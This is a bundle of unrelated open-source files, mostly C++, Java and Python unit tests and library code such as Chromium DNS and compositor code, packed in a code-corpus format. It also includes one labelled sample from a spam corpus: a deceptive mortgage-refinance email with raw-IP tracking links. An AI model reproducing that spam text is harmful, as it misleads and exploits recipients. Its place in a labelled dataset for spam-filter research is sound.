_tag("empty value", ""), _tag("", "empty key") ); const osmium::TagList& tl = buffer.get<osmium::TagList>(pos); REQUIRE(osmium::item_type::tag_list == tl.type()); REQUIRE(2 == tl.size()); auto it = tl.begin(); REQUIRE(std::string("empty value") == it->key()); REQUIRE(std::string("") == it->value()); ++it; REQUIRE(std::string("") == it->key()); REQUIRE(std::string("empty key") == it->value()); ++it; REQUIRE(it == tl.end()); REQUIRE(std::string("") == tl.get_value_by_key("empty value")); REQUIRE(std::string("empty key") == tl.get_value_by_key("")); } TEST_CASE("tag key or value is too long") { osmium::memory::Buffer buffer{10240}; osmium::builder::TagListBuilder builder{buffer}; const char kv[2000] = ""; builder.add_tag(kv, 1, kv, 1000); REQUIRE_THROWS(builder.add_tag(kv, 1500, kv, 1)); REQUIRE_THROWS(builder.add_tag(kv, 1, kv, 1500)); }
3,408
423
<filename>models/modules/ChainedPredictions.py import torch import torchvision import torch.nn as nn import torch.nn.functional as F class Identity(nn.Module): """docstring for Identity""" def __init__(self): super(Identity, self).__init__() def forward(self, x): return x class Deception(nn.Module): """docstring for Deception""" def __init__(self, hiddenChans): super(Deception, self).__init__() self.hiddenChans = hiddenChans _stack1 = [] _stack2 = [] _stack3 = [] self.start = nn.Conv2d(self.hiddenChans, 32, 1) _stack1.append(nn.ConvTranspose2d(32, 32, 2, 2, 0)) _stack1.append(nn.ConvTranspose2d(32, 32, 4, 2, 1)) _stack1.append(nn.ConvTranspose2d(32, 32, 6, 2, 2)) _stack1.append(nn.BatchNorm2d(32)) self.stack1 = nn.ModuleList(_stack1) _stack2.append(nn.ConvTranspose2d(32, 32, 2, 2, 0)) _stack2.append(nn.ConvTranspose2d(32, 32, 4, 2, 1)) _stack2.append(nn.ConvTranspose2d(32, 32, 6, 2, 2)) _stack2.append(nn.BatchNorm2d(32)) self.stack2 = nn.ModuleList(_stack2) self.end = nn.Conv2d(32, 1, 3, 1, 1) def forward(self, x): x = self.start(x) x = self.stack1[0](x) + self.stack1[1](x) + self.stack1[2](x) x = self.stack2[0](x) + self.stack2[1](x) + self.stack2[2](x) x = self.end(x) return x
623
2,728
import azure.cosmos.cosmos_client as cosmos_client import azure.cosmos._synchronized_request as synchronized_request import unittest import test_config class FakePipelineResponse: def __init__( self, http_response, ): self.http_response = http_response class FakeHttpResponse: def __init__( self, content, headers, status_code ): self.content = content self.headers = headers self.status_code = status_code def body(self): return self.content class MediaTests(unittest.TestCase): database_account_string = b'''{"_self": "", "id": "fake-media", "_rid": "fake-media.documents.azure.com", "media": "//media/", "addresses": "//addresses/", "_dbs": "//dbs/", "writableLocations": [ {"name": "UK South", "databaseAccountEndpoint": "https://fake-media-uksouth.documents.azure.com:443/"}], "readableLocations": [ {"name": "UK South", "databaseAccountEndpoint": "https://fake-media-uksouth.documents.azure.com:443/"}, {"name": "UK West", "databaseAccountEndpoint": "https://fake-media-ukwest.documents.azure.com:443/"}], "enableMultipleWriteLocations": false, "userReplicationPolicy": {"asyncReplication": false, "minReplicaSetSize": 3, "maxReplicasetSize": 4}, "userConsistencyPolicy": {"defaultConsistencyLevel": "Session"}, "systemReplicationPolicy": {"minReplicaSetSize": 3, "maxReplicasetSize": 4}, "readPolicy": {"primaryReadCoefficient": 1, "secondaryReadCoefficient": 1}}''' response = FakePipelineResponse(FakeHttpResponse(database_account_string, {}, 200)) def test_account_name_with_media(self): host = "https://fake-media.documents.azure.com:443/" master_key = test_config._test_config.masterKey try: original_execute_function = synchronized_request._PipelineRunFunction synchronized_request._PipelineRunFunction = self._MockRunFunction cosmos_client.CosmosClient(host, master_key) finally: synchronized_request._PipelineRunFunction = original_execute_function def _MockRunFunction(self, pipeline_client, request, **kwargs): return self.response
876
10,225
package io.quarkus.arc.test.buildextension.observers; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertTrue; import io.quarkus.arc.processor.ObserverRegistrar; import io.quarkus.arc.test.ArcTestContainer; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.RegisterExtension; public class SyntheticObserverErrorTest { @RegisterExtension public ArcTestContainer container = ArcTestContainer.builder() .observerRegistrars(new ObserverRegistrar() { @Override public void register(RegistrationContext context) { context.configure().observedType(String.class).notify(mc -> { mc.returnValue(null); }).done(); context.configure().observedType(String.class).notify(mc -> { mc.returnValue(null); }).done(); } }).shouldFail().build(); @Test public void testSyntheticObserver() { Throwable error = container.getFailure(); assertNotNull(error); assertTrue(error instanceof IllegalStateException); } }
536
12,824
<reponame>jamesanto/scala class C { class D { public int i() { return 2; } } static class E { public int i() { return 2; } } static class F { static class G { public int i() { return 2; } } } } // Test2 has an INNERCLASS attribute for C$D class Test_2 { public static int acceptD(C.D cd) { return cd.i(); } public static int acceptE(C.E ce) { return ce.i(); } public static int acceptG(C.F.G cg ) { return cg.i(); } }
157
3,428
{"id":"01318","group":"spam-2","checksum":{"type":"MD5","value":"5ceb2b7a8b5780b006500266f5a508ca"},"text":"From <EMAIL> Tue Aug 6 11:05:54 2002\nReturn-Path: <<EMAIL>>\nDelivered-To: yyyy<EMAIL>.netnoteinc.com\nReceived: from localhost (localhost [127.0.0.1])\n\tby phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9B9BB44115\n\tfor <jm@localhost>; Tue, 6 Aug 2002 05:57:47 -0400 (EDT)\nReceived: from mail.webnote.net [172.16.58.319]\n\tby localhost with POP3 (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Tue, 06 Aug 2002 10:57:47 +0100 (IST)\nReceived: from mail3.freesurf.fr (bastille.freesurf.fr [172.16.58.3])\n\tby webnote.net (8.9.3/8.9.3) with ESMTP id KAA17193\n\tfor <<EMAIL>>; Tue, 6 Aug 2002 10:46:23 +0100\nReceived: from email1.atc.cz (du-201-51.nat.dialup.freesurf.fr [212.43.201.51])\n\tby mail3.freesurf.fr (Postfix) with ESMTP\n\tid 143AE19078; Tue, 6 Aug 2002 11:38:25 +0200 (CEST)\nTo: <<EMAIL>>\nFrom: \"<NAME>\" <<EMAIL>>\nSubject: Is Your Mortgage Payment Too High? Reduce It Now\nDate: Tue, 06 Aug 2002 02:44:01 -1900\nMIME-Version: 1.0\nMessage-Id: <<EMAIL>>\nContent-Type: text/html; charset=\"iso-8859-1\"\nContent-Transfer-Encoding: quoted-printable\n\n<!-- saved from url=3D(0022)http://internet.e-mail -->\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML><HEAD>\n<META http-equiv=3DContent-Type content=3D\"text/html; charset=3Diso-8859-1=\n\">\n</HEAD>\n<BODY>\n<TABLE height=3D400 cellSpacing=3D0 cellPadding=3D0 width=3D450 align=3Dce=\nnter border=3D0>\n <TBODY>\n <TR>\n <TD colSpan=3D2><A href=3D\"http://61.129.68.18/user0201/index.asp?Afft=\n=3DQM12\"><IMG height=3D38 src=3D\"http://172.16.58.3/mortgage/h1.gif\" widt=\nh=3D450 border=3D0></A></TD></TR>\n <TR>\n <TD width=3D138 height=3D178><A href=3D\"http://6172.16.58.3/user0201/i=\nndex.asp?Afft=3DQM12\"><IMG height=3D178 src=3D\"http://61.129.68.17/mortgag=\ne/bullets.gif\" width=3D138 border=3D0></A></TD>\n <TD width=3D312 height=3D178><A href=3D\"http://61.129.68.18/user0201/i=\nndex.asp?Afft=3DQM12\"><IMG height=3D178 src=3D\"http://61.129.68.17/mortgag=\ne/family.jpg\" width=3D312 border=3D0></A></TD></TR>\n <TR>\n <TD width=3D450 colSpan=3D2 height=3D20><A href=3D\"http://6172.16.58.3=\n/user0201/index.asp?Afft=3DQM12\"><IMG height=3D20 src=3D\"http://61.129.68.=\n17/mortgage/bb.gif\" width=3D450 border=3D0></A></TD></TR>\n <TR>\n <TD width=3D450 colSpan=3D2 height=3D118><A href=3D\"http://61.129.68.1=\n8/user0201/index.asp?Afft=3DQM12\"><IMG height=3D118 src=3D\"http://61.129.6=\n8.17/mortgage/text.gif\" width=3D450 border=3D0></A></TD></TR>\n <TR>\n <TD width=3D450 colSpan=3D2 height=3D46><A href=3D\"http://192.168.127.12=\n/user0201/index.asp?Afft=3DQM12\"><IMG height=3D46 src=3D\"http://61.129.68.=\n17/mortgage/clickhere.gif\" width=3D450 border=3D0></A></TD></TR></TBODY></=\nTABLE><BR><BR>\n<TABLE width=3D450 align=3Dcenter>\n <TBODY>\n <TR>\n <TD align=3Dmiddle><FONT face=3DArial,Helvetica color=3D#000000 size=3D=\n1>=FFFFFFA9 \n Copyright 2002 - All rights reserved<BR><BR>If you would no longer l=\nike us \n to contact you or feel that you have<BR>received this email in error=\n, \n please <A href=3D\"http://61.129.68.18/light/watch.asp\">click here to=\n \n unsubscribe</A>.</FONT></TD></TR></TBODY></TABLE>\n<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>\n\n\n\n"}
1,606
2,151
/* * Copyright (C) 2000 <NAME> (<EMAIL>) * (C) 2000 <NAME> (<EMAIL>) * (C) 2000 <NAME> <EMAIL>) * Copyright (C) 2003, 2005, 2006, 2007, 2008 Apple Inc. All rights reserved. * Copyright (C) 2006 <NAME> (<EMAIL>) * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. * */ #ifndef THIRD_PARTY_BLINK_RENDERER_PLATFORM_TRANSFORMS_TRANSLATE_TRANSFORM_OPERATION_H_ #define THIRD_PARTY_BLINK_RENDERER_PLATFORM_TRANSFORMS_TRANSLATE_TRANSFORM_OPERATION_H_ #include "third_party/blink/renderer/platform/length.h" #include "third_party/blink/renderer/platform/length_functions.h" #include "third_party/blink/renderer/platform/transforms/transform_operation.h" namespace blink { class PLATFORM_EXPORT TranslateTransformOperation final : public TransformOperation { public: static scoped_refptr<TranslateTransformOperation> Create(const Length& tx, const Length& ty, OperationType type) { return base::AdoptRef(new TranslateTransformOperation(tx, ty, 0, type)); } static scoped_refptr<TranslateTransformOperation> Create(const Length& tx, const Length& ty, double tz, OperationType type) { return base::AdoptRef(new TranslateTransformOperation(tx, ty, tz, type)); } bool operator==(const TranslateTransformOperation& other) const { return *this == static_cast<const TransformOperation&>(other); } bool CanBlendWith(const TransformOperation& other) const override; bool DependsOnBoxSize() const override { return x_.IsPercentOrCalc() || y_.IsPercentOrCalc(); } double X(const FloatSize& border_box_size) const { return FloatValueForLength(x_, border_box_size.Width()); } double Y(const FloatSize& border_box_size) const { return FloatValueForLength(y_, border_box_size.Height()); } const Length& X() const { return x_; } const Length& Y() const { return y_; } double Z() const { return z_; } void Apply(TransformationMatrix& transform, const FloatSize& border_box_size) const override { transform.Translate3d(X(border_box_size), Y(border_box_size), Z()); } static bool IsMatchingOperationType(OperationType type) { return type == kTranslate || type == kTranslateX || type == kTranslateY || type == kTranslateZ || type == kTranslate3D; } scoped_refptr<TranslateTransformOperation> ZoomTranslate(double factor); OperationType GetType() const override { return type_; } OperationType PrimitiveType() const final { return kTranslate3D; } private: bool operator==(const TransformOperation& o) const override { if (!IsSameType(o)) return false; const TranslateTransformOperation* t = static_cast<const TranslateTransformOperation*>(&o); return x_ == t->x_ && y_ == t->y_ && z_ == t->z_; } scoped_refptr<TransformOperation> Blend( const TransformOperation* from, double progress, bool blend_to_identity = false) override; scoped_refptr<TransformOperation> Zoom(double factor) final { return ZoomTranslate(factor); } TranslateTransformOperation(const Length& tx, const Length& ty, double tz, OperationType type) : x_(tx), y_(ty), z_(tz), type_(type) { DCHECK(IsMatchingOperationType(type)); } bool HasNonTrivial3DComponent() const override { return z_ != 0.0; } Length x_; Length y_; double z_; OperationType type_; }; DEFINE_TRANSFORM_TYPE_CASTS(TranslateTransformOperation); } // namespace blink #endif // THIRD_PARTY_BLINK_RENDERER_PLATFORM_TRANSFORMS_TRANSLATE_TRANSFORM_OPERATION_H_
1,769
14,668
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/dns/dns_server_iterator.h" #include "base/time/time.h" #include "net/dns/dns_session.h" #include "net/dns/resolve_context.h" #include "third_party/abseil-cpp/absl/types/optional.h" namespace net { DnsServerIterator::DnsServerIterator(size_t nameservers_size, size_t starting_index, int max_times_returned, int max_failures, const ResolveContext* resolve_context, const DnsSession* session) : times_returned_(nameservers_size, 0), max_times_returned_(max_times_returned), max_failures_(max_failures), resolve_context_(resolve_context), next_index_(starting_index), session_(session) {} DnsServerIterator::~DnsServerIterator() = default; size_t DohDnsServerIterator::GetNextAttemptIndex() { DCHECK(resolve_context_->IsCurrentSession(session_)); DCHECK(AttemptAvailable()); // Because AttemptAvailable() should always be true before running this // function we can assume that an attemptable DoH server exists. // Check if the next index is available and hasn't hit its failure limit. If // not, try the next one and so on until we've tried them all. absl::optional<size_t> least_recently_failed_index; base::TimeTicks least_recently_failed_time; size_t previous_index = next_index_; size_t curr_index; do { curr_index = next_index_; next_index_ = (next_index_ + 1) % times_returned_.size(); // If the DoH mode is "secure" then don't check GetDohServerAvailability() // because we try every server regardless of availability. bool secure_or_available_server = secure_dns_mode_ == SecureDnsMode::kSecure || resolve_context_->GetDohServerAvailability(curr_index, session_); // If we've tried this server |max_times_returned_| already, then we're done // with it. Similarly skip this server if it isn't available and we're not // in secure mode. if (times_returned_[curr_index] >= max_times_returned_ || !secure_or_available_server) continue; if (resolve_context_->doh_server_stats_[curr_index].last_failure_count < max_failures_) { times_returned_[curr_index]++; return curr_index; } // Update the least recently failed server if needed. base::TimeTicks curr_index_failure_time = resolve_context_->doh_server_stats_[curr_index].last_failure; if (!least_recently_failed_index || curr_index_failure_time < least_recently_failed_time) { least_recently_failed_time = curr_index_failure_time; least_recently_failed_index = curr_index; } } while (next_index_ != previous_index); // At this point the only available servers we haven't attempted // |max_times_returned_| times are at their failure limit. Return the server // with the least recent failure. DCHECK(least_recently_failed_index.has_value()); times_returned_[least_recently_failed_index.value()]++; return least_recently_failed_index.value(); } bool DohDnsServerIterator::AttemptAvailable() { if (!resolve_context_->IsCurrentSession(session_)) return false; for (size_t i = 0; i < times_returned_.size(); i++) { // If the DoH mode is "secure" then don't check GetDohServerAvailability() // because we try every server regardless of availability. bool secure_or_available_server = secure_dns_mode_ == SecureDnsMode::kSecure || resolve_context_->GetDohServerAvailability(i, session_); if (times_returned_[i] < max_times_returned_ && secure_or_available_server) return true; } return false; } size_t ClassicDnsServerIterator::GetNextAttemptIndex() { DCHECK(resolve_context_->IsCurrentSession(session_)); DCHECK(AttemptAvailable()); // Because AttemptAvailable() should always be true before running this // function we can assume that an attemptable DNS server exists. // Check if the next index is available and hasn't hit its failure limit. If // not, try the next one and so on until we've tried them all. absl::optional<size_t> least_recently_failed_index; base::TimeTicks least_recently_failed_time; size_t previous_index = next_index_; size_t curr_index; do { curr_index = next_index_; next_index_ = (next_index_ + 1) % times_returned_.size(); // If we've tried this server |max_times_returned_| already, then we're done // with it. if (times_returned_[curr_index] >= max_times_returned_) continue; if (resolve_context_->classic_server_stats_[curr_index].last_failure_count < max_failures_) { times_returned_[curr_index]++; return curr_index; } // Update the least recently failed server if needed. base::TimeTicks curr_index_failure_time = resolve_context_->classic_server_stats_[curr_index].last_failure; if (!least_recently_failed_index || curr_index_failure_time < least_recently_failed_time) { least_recently_failed_time = curr_index_failure_time; least_recently_failed_index = curr_index; } } while (next_index_ != previous_index); // At this point the only servers we haven't attempted |max_times_returned_| // times are at their failure limit. Return the server with the least recent // failure. DCHECK(least_recently_failed_index.has_value()); times_returned_[least_recently_failed_index.value()]++; return least_recently_failed_index.value(); } bool ClassicDnsServerIterator::AttemptAvailable() { if (!resolve_context_->IsCurrentSession(session_)) return false; for (int i : times_returned_) { if (i < max_times_returned_) return true; } return false; } } // namespace net
2,203
834
<reponame>BohdanMosiyuk/samples<gh_stars>100-1000 #using <System.Data.dll> #using <System.Windows.Forms.dll> #using <System.dll> #using <System.Drawing.dll> using namespace System; using namespace System::Drawing; using namespace System::Collections; using namespace System::ComponentModel; using namespace System::Windows::Forms; using namespace System::Data; /// <summary> /// Summary description for Form1. /// </summary> [LicenseProvider(LicFileLicenseProvider::typeid)] public ref class Form1: public System::Windows::Forms::Form { private: /// <summary> /// Required designer variable. /// </summary> System::ComponentModel::Container^ components; public: Form1() { // // Required for Windows Form Designer support // InitializeComponent(); // // TODO: Add any constructor code after InitializeComponent call // } protected: /// <summary> /// Clean up any resources being used. /// </summary> ~Form1() { if ( components != nullptr ) { delete components; } } private: /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> void InitializeComponent() { // // Form1 // this->ClientSize = System::Drawing::Size( 292, 273 ); this->Name = "Form1"; this->Text = "Form1"; this->Load += gcnew System::EventHandler( this, &Form1::Form1_Load ); } void Form1_Load( Object^ /*sender*/, System::EventArgs^ /*e*/ ) { //<snippet1> try { License^ licTest = nullptr; licTest = LicenseManager::Validate( Form1::typeid, this ); } catch ( LicenseException^ licE ) { Console::WriteLine( licE->Message ); Console::WriteLine( licE->LicensedType ); Console::WriteLine( licE->StackTrace ); Console::WriteLine( licE->Source ); } //</snippet1> } }; /// <summary> /// The main entry point for the application. /// </summary> [STAThread] int main() { Application::Run( gcnew Form1 ); }
820
735
/* * Copyright (C) 2005 <NAME>. * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. * * Created on 14. May 2005 by <NAME> */ package com.thoughtworks.xstream.converters.extended; import com.thoughtworks.xstream.XStream; import junit.framework.TestCase; import java.util.Calendar; import java.util.TimeZone; /** * @author <NAME> */ public class GregorianCalendarConverterTest extends TestCase { public void testCalendar() { final Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("UTC")); final XStream xstream = new XStream(); final String xml = xstream.toXML(cal); final Calendar serialized = xstream.<Calendar>fromXML(xml); assertEquals(cal, serialized); } }
310
772
<reponame>code-dot-org/code-dot-org { "blocks": "blocchi", "glass": "bichjeru", "grass": "erba", "gravel": "gravetta", "lava": "lava" }
70
575
<gh_stars>100-1000 // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/containers/flat_set.h" #include "base/test/simple_test_tick_clock.h" #include "components/viz/common/surfaces/surface_id.h" #include "components/viz/service/display_embedder/server_shared_bitmap_manager.h" #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h" #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h" #include "components/viz/service/surfaces/surface.h" #include "components/viz/service/surfaces/surface_allocation_group.h" #include "components/viz/test/begin_frame_args_test.h" #include "components/viz/test/compositor_frame_helpers.h" #include "components/viz/test/fake_external_begin_frame_source.h" #include "components/viz/test/fake_surface_observer.h" #include "components/viz/test/mock_compositor_frame_sink_client.h" #include "components/viz/test/surface_id_allocator_set.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" using testing::_; using testing::Eq; using testing::IsEmpty; using testing::UnorderedElementsAre; namespace viz { namespace { constexpr bool kIsRoot = true; constexpr bool kIsChildRoot = false; constexpr FrameSinkId kDisplayFrameSink(2, 0); constexpr FrameSinkId kParentFrameSink(3, 0); constexpr FrameSinkId kChildFrameSink1(65563, 0); constexpr FrameSinkId kChildFrameSink2(65564, 0); constexpr FrameSinkId kArbitraryFrameSink(1337, 7331); std::vector<SurfaceId> empty_surface_ids() { return std::vector<SurfaceId>(); } std::vector<SurfaceRange> empty_surface_ranges() { return std::vector<SurfaceRange>(); } CompositorFrame MakeCompositorFrame( std::vector<SurfaceId> activation_dependencies, std::vector<SurfaceRange> referenced_surfaces, std::vector<TransferableResource> resource_list, const FrameDeadline& deadline = FrameDeadline()) { return CompositorFrameBuilder() .AddDefaultRenderPass() .SetActivationDependencies(std::move(activation_dependencies)) .SetReferencedSurfaces(std::move(referenced_surfaces)) .SetTransferableResources(std::move(resource_list)) .SetDeadline(deadline) .Build(); } } // namespace class SurfaceSynchronizationTest : public testing::Test { public: SurfaceSynchronizationTest() : frame_sink_manager_(&shared_bitmap_manager_), surface_observer_(false) {} ~SurfaceSynchronizationTest() override {} CompositorFrameSinkSupport& display_support() { return *supports_[kDisplayFrameSink]; } Surface* display_surface() { return display_support().GetLastCreatedSurfaceForTesting(); } CompositorFrameSinkSupport& parent_support() { return *supports_[kParentFrameSink]; } Surface* parent_surface() { return parent_support().GetLastCreatedSurfaceForTesting(); } CompositorFrameSinkSupport& child_support1() { return *supports_[kChildFrameSink1]; } Surface* child_surface1() { return child_support1().GetLastCreatedSurfaceForTesting(); } CompositorFrameSinkSupport& child_support2() { return *supports_[kChildFrameSink2]; } Surface* child_surface2() { return child_support2().GetLastCreatedSurfaceForTesting(); } void CreateFrameSink(const FrameSinkId& frame_sink_id, bool is_root) { supports_[frame_sink_id] = std::make_unique<CompositorFrameSinkSupport>( &support_client_, &frame_sink_manager_, frame_sink_id, is_root); } void DestroyFrameSink(const FrameSinkId& frame_sink_id) { auto it = supports_.find(frame_sink_id); if (it == supports_.end()) return; supports_.erase(it); } void ExpireAllTemporaryReferencesAndGarbageCollect() { frame_sink_manager_.surface_manager()->ExpireOldTemporaryReferences(); frame_sink_manager_.surface_manager()->ExpireOldTemporaryReferences(); frame_sink_manager_.surface_manager()->GarbageCollectSurfaces(); } // Returns all the references where |surface_id| is the parent. const base::flat_set<SurfaceId>& GetReferencesFrom( const SurfaceId& surface_id) { return frame_sink_manager() .surface_manager() ->GetSurfacesReferencedByParent(surface_id); } FrameSinkManagerImpl& frame_sink_manager() { return frame_sink_manager_; } SurfaceManager* surface_manager() { return frame_sink_manager_.surface_manager(); } // Returns all the references where |surface_id| is the parent. const base::flat_set<SurfaceId>& GetChildReferences( const SurfaceId& surface_id) { return frame_sink_manager() .surface_manager() ->GetSurfacesReferencedByParent(surface_id); } // Returns true if there is a temporary reference for |surface_id|. bool HasTemporaryReference(const SurfaceId& surface_id) { return frame_sink_manager().surface_manager()->HasTemporaryReference( surface_id); } Surface* GetLatestInFlightSurface(const SurfaceRange& surface_range) { return frame_sink_manager().surface_manager()->GetLatestInFlightSurface( surface_range); } FakeExternalBeginFrameSource* begin_frame_source() { return begin_frame_source_.get(); } base::TimeTicks Now() { return now_src_->NowTicks(); } FrameDeadline MakeDefaultDeadline() { return FrameDeadline(Now(), 4u, BeginFrameArgs::DefaultInterval(), false); } FrameDeadline MakeDeadline(uint32_t deadline_in_frames) { return FrameDeadline(Now(), deadline_in_frames, BeginFrameArgs::DefaultInterval(), false); } void SendNextBeginFrame() { // Creep the time forward so that any BeginFrameArgs is not equal to the // last one otherwise we violate the BeginFrameSource contract. now_src_->Advance(BeginFrameArgs::DefaultInterval()); BeginFrameArgs args = begin_frame_source_->CreateBeginFrameArgs( BEGINFRAME_FROM_HERE, now_src_.get()); begin_frame_source_->TestOnBeginFrame(args); } void SendLateBeginFrame() { // Creep the time forward so that any BeginFrameArgs is not equal to the // last one otherwise we violate the BeginFrameSource contract. now_src_->Advance(4u * BeginFrameArgs::DefaultInterval()); BeginFrameArgs args = begin_frame_source_->CreateBeginFrameArgs( BEGINFRAME_FROM_HERE, now_src_.get()); begin_frame_source_->TestOnBeginFrame(args); } FakeSurfaceObserver& surface_observer() { return surface_observer_; } // testing::Test: void SetUp() override { testing::Test::SetUp(); begin_frame_source_ = std::make_unique<FakeExternalBeginFrameSource>(0.f, false); now_src_ = std::make_unique<base::SimpleTestTickClock>(); frame_sink_manager_.surface_manager()->SetTickClockForTesting( now_src_.get()); frame_sink_manager_.surface_manager()->AddObserver(&surface_observer_); supports_[kDisplayFrameSink] = std::make_unique<CompositorFrameSinkSupport>( &support_client_, &frame_sink_manager_, kDisplayFrameSink, kIsRoot); supports_[kParentFrameSink] = std::make_unique<CompositorFrameSinkSupport>( &support_client_, &frame_sink_manager_, kParentFrameSink, kIsChildRoot); supports_[kChildFrameSink1] = std::make_unique<CompositorFrameSinkSupport>( &support_client_, &frame_sink_manager_, kChildFrameSink1, kIsChildRoot); supports_[kChildFrameSink2] = std::make_unique<CompositorFrameSinkSupport>( &support_client_, &frame_sink_manager_, kChildFrameSink2, kIsChildRoot); // Normally, the BeginFrameSource would be registered by the Display. We // register it here so that BeginFrames are received by the display support, // for use in the PassesOnBeginFrameAcks test. Other supports do not receive // BeginFrames, since the frame sink hierarchy is not set up in this test. frame_sink_manager_.RegisterBeginFrameSource(begin_frame_source_.get(), kDisplayFrameSink); frame_sink_manager_.RegisterFrameSinkHierarchy(kDisplayFrameSink, kParentFrameSink); frame_sink_manager_.RegisterFrameSinkHierarchy(kDisplayFrameSink, kChildFrameSink1); frame_sink_manager_.RegisterFrameSinkHierarchy(kDisplayFrameSink, kChildFrameSink2); } void TearDown() override { frame_sink_manager_.surface_manager()->RemoveObserver(&surface_observer_); frame_sink_manager_.UnregisterBeginFrameSource(begin_frame_source_.get()); begin_frame_source_->SetClient(nullptr); begin_frame_source_.reset(); supports_.clear(); surface_observer_.Reset(); } bool IsMarkedForDestruction(const SurfaceId& surface_id) { return frame_sink_manager_.surface_manager()->IsMarkedForDestruction( surface_id); } Surface* GetSurfaceForId(const SurfaceId& surface_id) { return frame_sink_manager_.surface_manager()->GetSurfaceForId(surface_id); } SurfaceId MakeSurfaceId(const FrameSinkId& frame_sink_id, uint32_t parent_sequence_number, uint32_t child_sequence_number = 1u) { return allocator_set_.MakeSurfaceId(frame_sink_id, parent_sequence_number, child_sequence_number); } bool allocation_groups_need_garbage_collection() { return surface_manager()->allocation_groups_need_garbage_collection_; } protected: testing::NiceMock<MockCompositorFrameSinkClient> support_client_; private: std::unique_ptr<base::SimpleTestTickClock> now_src_; ServerSharedBitmapManager shared_bitmap_manager_; FrameSinkManagerImpl frame_sink_manager_; FakeSurfaceObserver surface_observer_; std::unique_ptr<FakeExternalBeginFrameSource> begin_frame_source_; std::unordered_map<FrameSinkId, std::unique_ptr<CompositorFrameSinkSupport>, FrameSinkIdHash> supports_; SurfaceIdAllocatorSet allocator_set_; DISALLOW_COPY_AND_ASSIGN(SurfaceSynchronizationTest); }; // The display root surface should have a surface reference from the top-level // root added/removed when a CompositorFrame is submitted with a new // SurfaceId. TEST_F(SurfaceSynchronizationTest, RootSurfaceReceivesReferences) { const SurfaceId display_id_first = MakeSurfaceId(kDisplayFrameSink, 1); const SurfaceId display_id_second = MakeSurfaceId(kDisplayFrameSink, 2); // Submit a CompositorFrame for the first display root surface. display_support().SubmitCompositorFrame(display_id_first.local_surface_id(), MakeDefaultCompositorFrame()); // A surface reference from the top-level root is added and there shouldn't be // a temporary reference. EXPECT_FALSE(HasTemporaryReference(display_id_first)); EXPECT_THAT(GetChildReferences( frame_sink_manager().surface_manager()->GetRootSurfaceId()), UnorderedElementsAre(display_id_first)); // Submit a CompositorFrame for the second display root surface. display_support().SubmitCompositorFrame(display_id_second.local_surface_id(), MakeDefaultCompositorFrame()); // A surface reference from the top-level root to |display_id_second| should // be added and the reference to |display_root_first| removed. EXPECT_FALSE(HasTemporaryReference(display_id_second)); EXPECT_THAT(GetChildReferences( frame_sink_manager().surface_manager()->GetRootSurfaceId()), UnorderedElementsAre(display_id_second)); frame_sink_manager().surface_manager()->GarbageCollectSurfaces(); // Surface |display_id_first| is unreachable and should get deleted. EXPECT_EQ(nullptr, GetSurfaceForId(display_id_first)); } // The parent Surface is blocked on |child_id1| and |child_id2|. TEST_F(SurfaceSynchronizationTest, BlockedOnTwo) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1, child_id2}, empty_surface_ranges(), std::vector<TransferableResource>())); // parent_support is blocked on |child_id1| and |child_id2|. EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1, child_id2)); // Submit a CompositorFrame without any dependencies to |child_id1|. // parent_support should now only be blocked on |child_id2|. child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id2)); // Submit a CompositorFrame without any dependencies to |child_id2|. // parent_support should be activated. child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(child_surface2()->has_deadline()); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // The parent Surface is blocked on |child_id2| which is blocked on // |child_id3|. TEST_F(SurfaceSynchronizationTest, BlockedChain) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), 